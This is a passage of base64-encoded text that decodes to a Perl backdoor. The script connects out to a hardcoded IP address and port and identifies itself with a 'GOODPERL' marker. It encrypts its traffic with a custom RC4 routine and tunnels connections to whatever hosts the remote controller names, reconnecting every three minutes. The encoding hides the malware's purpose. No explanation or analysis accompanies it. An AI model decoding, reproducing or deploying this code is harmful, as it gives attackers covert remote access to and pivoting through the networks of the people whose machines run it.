gJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzUnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLC